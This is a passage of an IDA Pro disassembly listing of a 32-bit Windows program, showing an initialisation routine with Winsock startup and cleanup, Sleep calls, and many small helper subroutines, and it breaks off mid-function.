		lea	ecx, dword_9E396C[esi]
		call	sub_13AB9D7
		push	edi
		lea	ecx, [esi+3Eh]
		call	sub_13AB784
		mov	al, [esi+42h]
		test	al, al
		jz	short loc_13C292D
		mov	eax, [esi+43h]
		lea	ecx, [esi+152h]
		push	eax
		call	sub_13ABD79


loc_13C292D:				; CODE XREF: sub_13C28A0+7Cj
		lea	ecx, [esp+1D4h+var_1AC]
		push	ecx
		push	202h
		call	WSAStartup	; WSAStartup
		call	sub_13AB8BA
		lea	ecx, [esi+1BBEh]
		call	sub_13ABBEE
		lea	ecx, [esi+1B46h]
		call	sub_13ABDF6
		lea	edi, [esi+15Fh]
		mov	ecx, edi
		call	sub_13AC134
		mov	ebx, Sleep
		push	3E8h
		call	ebx ; Sleep
		mov	ecx, edi
		call	sub_13AB61C
		push	3E8h
		call	ebx ; Sleep
		mov	al, [esi+48h]
		test	al, al
		jnz	short loc_13C2991
		mov	al, [esi+7C7h]
		test	al, al
		jz	short loc_13C299C


loc_13C2991:				; CODE XREF: sub_13C28A0+E5j
		lea	ecx, dword_9E3831[esi]
		call	sub_13AB7D4


loc_13C299C:				; CODE XREF: sub_13C28A0+EFj
		push	3E8h
		call	ebx ; Sleep
		lea	ebx, [esi+3F9h]
		lea	edi, [esi+1C58h]
		push	ebx
		mov	ecx, edi
		call	sub_13ABF59
		mov	ecx, edi
		call	sub_13AB595
		mov	al, [esi+77Eh]
		test	al, al
		jz	short loc_13C29D7
		lea	edx, [esi+71Ch]
		push	ebx
		push	edx
		mov	ecx, edi
		call	sub_13ABB26


loc_13C29D7:				; CODE XREF: sub_13C28A0+126j
		mov	al, [esi+7C7h]
		test	al, al
		jz	short loc_13C29FE
		lea	ebp, [esi+7F7h]
		mov	ecx, edi
		push	ebp
		call	sub_13AC3B4
		test	al, al
		jnz	short loc_13C29FE
		push	ebx
		push	ebp
		mov	ecx, edi
		call	sub_13AB897
		jmp	short loc_13C2A0C
; ---------------------------------------------------------------------------


loc_13C29FE:				; CODE XREF: sub_13C28A0+13Fj
					; sub_13C28A0+151j
		lea	ebp, [esi+7F7h]
		mov	ecx, edi
		push	ebp
		call	sub_13ABD42


loc_13C2A0C:				; CODE XREF: sub_13C28A0+15Cj
		mov	al, [esi+7C7h]
		test	al, al
		jz	short loc_13C2A31
		mov	al, [esi+48h]
		test	al, al
		jnz	short loc_13C2A31
		push	ebp
		mov	ecx, edi
		call	sub_13AC3DC
		test	al, al
		jz	short loc_13C2A31
		push	0
		call	exit	; exit


loc_13C2A31:				; CODE XREF: sub_13C28A0+174j
					; sub_13C28A0+17Bj ...
		call	sub_13AC2EC
		lea	ecx, [esi+168h]
		call	sub_13ABBE4
		push	eax
		lea	eax, [esp+204h+var_1F0]
		push	eax
		call	sub_13AC422
		add	esp, 8
		push	eax
		lea	ecx, dword_9E392D[esi]
		mov	[esp+204h+var_40], 0
		call	sub_13AC40E
		lea	ecx, [esp+204h+var_1F4]
		mov	[esp+204h+var_44], 0FFFFFFFFh
		call	sub_13AB626
		lea	ebx, dword_9D2B5D[esi]
		mov	ecx, ebx
		call	sub_13AB7D4
		lea	ecx, dword_9D2E47[esi]
		call	sub_13AB7D4
		lea	ecx, [esi+1D29h]
		call	sub_13AC17F
		lea	ecx, [esi+1E6Fh]
		call	sub_13ABEE1
		lea	ecx, dword_9D2E85[esi]
		call	sub_13ABA09
		lea	ecx, dword_9E3613[esi]
		call	sub_13ABAF4
		lea	ecx, dword_9D2FA2[esi]
		call	sub_13AC5DF
		lea	ecx, dword_9E3673[esi]
		call	sub_13AC247
		mov	ecx, ebx
		call	sub_13ABE0A
		lea	ecx, dword_9E3842[esi]
		call	sub_13AC35F
		mov	ecx, edi
		call	sub_13AB44B
		lea	ecx, dword_9D30BF[esi]
		call	sub_13AC00D
		lea	ecx, dword_9E3705[esi]
		call	sub_13ABF90
		lea	ecx, dword_9E36D3[esi]
		call	sub_13AC300
		lea	ecx, dword_9E3793[esi]
		call	sub_13ABD65
		lea	ecx, dword_9E37CD[esi]
		call	sub_13AC445
		lea	ecx, dword_9E37FF[esi]
		call	sub_13ABFE5
		mov	ecx, esi
		call	sub_13AB667
		lea	ecx, dword_9D2E70[esi]
		mov	edi, eax
		call	sub_13ABB44
		mov	ecx, ebx
		call	sub_13ABB44
		call	sub_13ABF18
		call	WSACleanup	; WSACleanup
		mov	al, [esi+42h]
		test	al, al
		jz	short loc_13C2B67
		lea	ecx, [esi+152h]
		call	sub_13AC0DA


loc_13C2B67:				; CODE XREF: sub_13C28A0+2BAj
		mov	ecx, [esp+204h+var_4C]
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 1B4h
		retn	8
sub_13C28A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 0C0h	dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C2C70	proc near		; CODE XREF: sub_13AC2C4j

arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	0
		push	eax
		mov	ecx, offset dword_447168
		call	sub_13ABB67
		retn	10h
sub_13C2C70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C2CA0	proc near		; CODE XREF: sub_13ABF09j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_13AC5BC
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_C]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_13ABA22
		mov	eax, [eax]
		lea	ecx, [esp+18h+var_8]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_13AB82E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_13AC4E5
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
sub_13C2CA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C2D10	proc near		; CODE XREF: sub_13ABEFAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_13AB79D
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_13C2D10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C2D50	proc near		; CODE XREF: sub_13AC5DAj

var_C		= byte ptr -0Ch

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_13AB711
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_C]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_13AC34B
		mov	eax, [eax]
		lea	ecx, [esp+1Ch+var_C]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_13AB950
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_13AC45E
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
sub_13C2D50	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C2DC0	proc near		; CODE XREF: sub_13AC34Bj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_13AB9D2
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_13AC184
		mov	eax, esi
		pop	esi
		retn	4
sub_13C2DC0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C2E00	proc near		; CODE XREF: sub_13AB711j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_13AC184
		mov	eax, esi
		pop	esi
		retn	4
sub_13C2E00	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C2E30	proc near		; CODE XREF: sub_13AB4B9j

var_C		= byte ptr -0Ch

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_13AB711
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_C]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_13AC34B
		mov	eax, [eax]
		lea	ecx, [esp+1Ch+var_C]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_13AB950
		pop	esi
		add	esp, 0Ch
		retn
sub_13C2E30	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C2E80	proc near		; CODE XREF: sub_13AC486j
		push	esi
		mov	esi, ecx
		call	sub_13AB928
		mov	eax, esi
		pop	esi
		retn
sub_13C2E80	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C2EA0	proc near		; CODE XREF: sub_13AC611j
		mov	eax, [ecx]
		push	eax
		call	sub_13AB572
		add	esp, 4
		retn
sub_13C2EA0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C2EC0	proc near		; CODE XREF: sub_13AB761j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_13AB9D2
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_13C2EC0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C2EF0	proc near		; CODE XREF: sub_13ABAF9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_13AC61B
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_13C2EF0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C2F20	proc near		; CODE XREF: sub_13AB82Ej

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_13ABC3E
		test	al, al
		jz	short loc_13C2F7A


loc_13C2F38:				; CODE XREF: sub_13C2F20+47j
		lea	ecx, [esp+10h+var_C]
		push	0
		push	ecx
		lea	ecx, [esp+18h+arg_0]
		call	sub_13AB56D
		mov	edx, [eax]
		lea	eax, [esp+18h+var_10]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_13AB63F
		lea	ecx, [esp+20h+var_8]
		push	ecx
		lea	ecx, [esp+24h+var_C]
		call	sub_13ABC3E
		test	al, al
		jnz	short loc_13C2F38
		mov	eax, [esp+24h+var_14]
		mov	edx, [esp+24h+var_10]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_13C2F7A:				; CODE XREF: sub_13C2F20+16j
		mov	eax, [esp+10h]
		mov	ecx, [esp+10h+arg_0]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_13C2F20	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C2FB0	proc near		; CODE XREF: sub_13AC4E5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_13AC157
		retn	4
sub_13C2FB0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C2FD0	proc near		; CODE XREF: sub_13AB950j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_13ABAF9
		test	al, al
		jz	short loc_13C302A


loc_13C2FE8:				; CODE XREF: sub_13C2FD0+47j
		lea	ecx, [esp+10h+var_C]
		push	0
		push	ecx
		lea	ecx, [esp+18h+arg_0]
		call	sub_13AB6A3
		mov	edx, [eax]
		lea	eax, [esp+18h+var_10]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_13AC54E
		lea	ecx, [esp+20h+var_8]
		push	ecx
		lea	ecx, [esp+24h+var_C]
		call	sub_13ABAF9
		test	al, al
		jnz	short loc_13C2FE8
		mov	eax, [esp+24h+var_14]
		mov	edx, [esp+24h+var_10]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_13C302A:				; CODE XREF: sub_13C2FD0+16j
		mov	eax, [esp+10h]
		mov	ecx, [esp+10h+arg_0]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_13C2FD0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C3060	proc near		; CODE XREF: sub_13AB79Dj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0Ch
		call	sub_13AC053
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_13C3075
		mov	edi, esi


loc_13C3075:				; CODE XREF: sub_13C3060+11j
		push	esi
		call	sub_13AB9D2
		mov	[eax], edi
		mov	edi, [esp+10h+arg_0]
		add	esp, 4
		test	edi, edi
		jnz	short loc_13C308A
		mov	edi, esi


loc_13C308A:				; CODE XREF: sub_13C3060+26j
		push	esi
		call	sub_13ABF1D
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_13C3060	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C30B0	proc near		; CODE XREF: sub_13AC45Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_13AB7F2
		retn	4
sub_13C30B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C30D0	proc near		; CODE XREF: sub_13AB9D2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_13C30D0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C30F0	proc near		; CODE XREF: sub_13AB572j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_13C30F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C3110	proc near		; CODE XREF: sub_13AB928j
		mov	eax, ecx
		retn
sub_13C3110	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C3130	proc near		; CODE XREF: sub_13AC184j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_13AC4E0
		mov	eax, esi
		pop	esi
		retn	4
sub_13C3130	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C3160	proc near		; CODE XREF: sub_13AC61Bj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_13C3160	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C3190	proc near		; CODE XREF: sub_13AB63Fj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_13AB56D
		mov	ecx, eax
		call	sub_13AC08A
		mov	esi, eax
		push	esi
		call	sub_13ABE82
		push	esi
		mov	ebx, eax
		call	sub_13AC058
		mov	ecx, [eax]
		push	ecx
		call	sub_13ABE82
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_13AC058
		push	esi
		mov	ebx, eax
		call	sub_13ABE82
		mov	eax, [eax]
		push	eax
		call	sub_13AC058
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_13AB608
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_13ABB62
		push	esi
		mov	ecx, edi
		call	sub_13AC4E5
		mov	eax, [edi+8]
		mov	edx, [esp+20h+var_8]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+20h+var_C]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
sub_13C3190	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C3250	proc near		; CODE XREF: sub_13AC157j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	near ptr 13E0C02h
		pop	ecx
		retn	8
sub_13C3250	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C3270	proc near		; CODE XREF: sub_13AB56Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_13AC30A
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_13C3270	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C32A0	proc near		; CODE XREF: sub_13AC54Ej

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_13AB6A3
		mov	ecx, eax
		call	sub_13AC2CE
		mov	esi, eax
		push	esi
		call	sub_13AB9D2
		push	esi
		mov	ebx, eax
		call	sub_13ABF1D
		mov	ecx, [eax]
		push	ecx
		call	sub_13AB9D2
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_13ABF1D
		push	esi
		mov	ebx, eax
		call	sub_13AB9D2
		mov	eax, [eax]
		push	eax
		call	sub_13ABF1D
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_13AB572
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_13ABCC5
		push	esi
		mov	ecx, edi
		call	sub_13AC45E
		mov	eax, [edi+8]
		mov	edx, [esp+20h+var_8]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+20h+var_C]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
sub_13C32A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C3360	proc near		; CODE XREF: sub_13ABF1Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_13C3360	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C3380	proc near		; CODE XREF: sub_13AC053j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_13AC116
		add	esp, 8
		retn	4
sub_13C3380	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C33B0	proc near		; CODE XREF: sub_13AB7F2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	near ptr 13E0C02h
		pop	ecx
		retn	8
sub_13C33B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C33D0	proc near		; CODE XREF: sub_13AC4E0j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_13C33D0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C33F0	proc near		; CODE XREF: sub_13AB6A3j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_13AB761
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_13C33F0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C3420	proc near		; CODE XREF: sub_13ABB62j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_6
		pop	ecx
		retn	4
sub_13C3420	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C3440	proc near		; CODE XREF: sub_13ABCC5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_2
		pop	ecx
		retn	4
sub_13C3440	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C3460	proc near		; CODE XREF: sub_13AC2CEj
		mov	eax, [ecx]
		retn
sub_13C3460	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C34C0	proc near		; CODE XREF: sub_13AC503j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43AC56h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_14], esi
		call	sub_13AB5B3
		lea	ecx, [esi+4]
		call	sub_13ABB49
		push	9
		mov	[esp+1Ch+var_4], 0
		mov	dword ptr [esi], offset	dword_43E074
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+18h+var_10], eax
		test	eax, eax
		mov	byte ptr [esp+18h+var_4], 1
		jz	short loc_13C352D
		mov	ecx, eax
		call	sub_13AC30F
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_13C352D:				; CODE XREF: sub_13C34C0+4Fj
		mov	ecx, [esp+18h+var_C]
		xor	eax, eax
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
sub_13C34C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C3580	proc near		; CODE XREF: sub_13AC30Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43AC7Bh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	14h
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+14h+var_10], eax
		test	eax, eax
		mov	[esp+14h+var_4], 0
		jz	short loc_13C35CE
		mov	ecx, eax
		call	sub_13AB9B9
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_13C35CE:				; CODE XREF: sub_13C3580+31j
		mov	ecx, [esp+14h+var_C]
		xor	eax, eax
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C3580	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C3610	proc near		; CODE XREF: sub_13AB9B9j
		mov	eax, ecx
		retn
sub_13C3610	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C3630	proc near		; CODE XREF: sub_13ABD65j

var_30		= byte ptr -30h
var_24		= byte ptr -24h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43AC98h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	14h
		push	1
		push	14h
		push	13h
		push	14h
		push	5
		lea	eax, [esp+44h+var_24]
		push	0Eh
		mov	esi, ecx
		push	eax
		call	sub_13ABDB5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_13ABA81
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+34h+var_30]
		mov	[esp+34h+var_10], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+34h+var_18]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_13C3630	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C36D0	proc near		; CODE XREF: sub_13AB51Dj

var_304		= dword	ptr -304h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2F0		= dword	ptr -2F0h
var_2EC		= byte ptr -2ECh
var_2E0		= dword	ptr -2E0h
var_2DC		= byte ptr -2DCh
var_2D4		= dword	ptr -2D4h
var_2C0		= dword	ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= dword	ptr -2B0h
var_2AC		= byte ptr -2ACh
var_2A4		= dword	ptr -2A4h
var_28C		= byte ptr -28Ch
var_288		= byte ptr -288h
var_284		= byte ptr -284h
var_274		= byte ptr -274h
var_24C		= byte ptr -24Ch
var_240		= byte ptr -240h
var_1E8		= byte ptr -1E8h
var_1C8		= byte ptr -1C8h
var_1B5		= byte ptr -1B5h
var_168		= byte ptr -168h
var_158		= byte ptr -158h
var_135		= byte ptr -135h
var_E8		= byte ptr -0E8h
var_B5		= byte ptr -0B5h
var_64		= dword	ptr -64h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_29		= byte ptr -29h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	43ACC6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 298h
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	[esp+2ACh+var_2A4], ebx
		lea	ecx, [ebx+4]
		call	sub_13ABBE4
		mov	esi, [esp+2ACh+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13C3A79
		push	ebp
		push	edi
		push	offset dword_443600
		lea	eax, [esp+2BCh+var_240]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		call	sub_13ABA81
		push	eax
		call	atoi	; atoi
		add	esp, 4
		lea	ecx, [esp+2C4h+var_24C]
		mov	[ebx+36h], eax
		call	sub_13AB626
		mov	ecx, esi
		call	sub_13ABBE4
		push	eax
